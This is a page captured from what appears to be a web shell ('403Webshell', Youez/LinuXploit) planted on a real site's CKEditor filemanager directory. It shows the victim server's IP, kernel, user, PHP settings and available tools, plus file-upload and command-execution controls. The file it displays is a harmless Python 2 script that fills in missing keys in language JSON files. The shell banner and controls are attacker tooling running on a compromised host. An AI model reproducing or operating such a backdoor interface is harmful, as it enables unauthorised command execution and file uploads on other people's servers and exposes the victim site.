403Webshell
Server IP : 85.158.181.41  /  Your IP : 216.73.217.12
Web Server : Apache
System : Linux cloud9-vm129 6.1.178+1-ph #ph SMP PREEMPT_DYNAMIC Wed Jul 29 09:00:54 UTC 2026 x86_64
User : moncbefd ( 1024)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moncbefd/www.moneta.at/admin/includes/ckeditor/filemanager/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/moncbefd/www.moneta.at/admin/includes/ckeditor/filemanager/utils/generate-lang.py
#!/usr/bin/python2.6


# Generate lang files with en.js file as reference
# if key does not exist in json file, the key and value are added from reference file (en.js)
# Usage : $ python ./utils/generate-lang.py


class bcolors:
    HEADER = '\033[95m'
    OKBLUE = '\033[94m'
    OKGREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'

    def disable(self):
        self.HEADER = ''
        self.OKBLUE = ''
        self.OKGREEN = ''
        self.WARNING = ''
        self.FAIL = ''
        self.ENDC = ''

import os, io, json, codecs, sys

fmRootFolder = os.path.dirname(os.path.dirname(os.path.realpath(__file__))) + "/"

os.chdir(fmRootFolder + "scripts/languages/") # set working directory


filesList = list()

print bcolors.HEADER + "\nFiles to translate :"
print "-------------------------------------------\n" + bcolors.ENDC

for files in os.listdir("."):
    # we exclude 'en.js' file
    if files.endswith(".js") and files != 'en.js':
        filesList.append(files) # we populate filesList
        print bcolors.OKBLUE + files+ bcolors.ENDC # display file names

print bcolors.HEADER + "-------------------------------------------\n" + bcolors.ENDC


with open(fmRootFolder + "scripts/languages/" + 'en.js') as f:
    default_json = json.load(f)

# we loop on JS languages files
# if key does not exist in json file, the key and value are added from reference file (en.js)
for index, item in enumerate(filesList):
        # print index, item
        with open(fmRootFolder + "scripts/languages/" + item) as f:
            filename = fmRootFolder + "scripts/languages/"  + item
            print bcolors.OKGREEN +  str(index) + ") Writing file : " + filename + bcolors.ENDC
            current = json.load(f) # we get the current JSON file content
            
            # merging 2 dictionnaries
            data = dict(default_json.items() + current.items())

            # we calculate differences between lists
            diff = set(default_json.keys()) - set(current.keys())
            if len(diff)  == 0:
                print bcolors.OKBLUE + "... no keys added."+ bcolors.ENDC
            else:
                print bcolors.WARNING + "... keys " + bcolors.OKBLUE + ",".join(diff ) + bcolors.WARNING +" were added." + bcolors.ENDC

            # get a string with JSON encoding the list
            data = json.dumps(data)
            
            # we use codecs to keep utf-8 encoding without escaped \uXXXX
            filename = fmRootFolder + "scripts/languages/" + item
            file=codecs.open(filename, mode='w', encoding='utf-8')
            # magic happens here to make it pretty-printed
            file.write(json.dumps(json.loads(data), indent=4, sort_keys=True, ensure_ascii=False))
            file.close()
            
            print  bcolors.OKBLUE + "... file saved." + bcolors.ENDC

Youez - 2016 - github.com/yon3zu
LinuXploit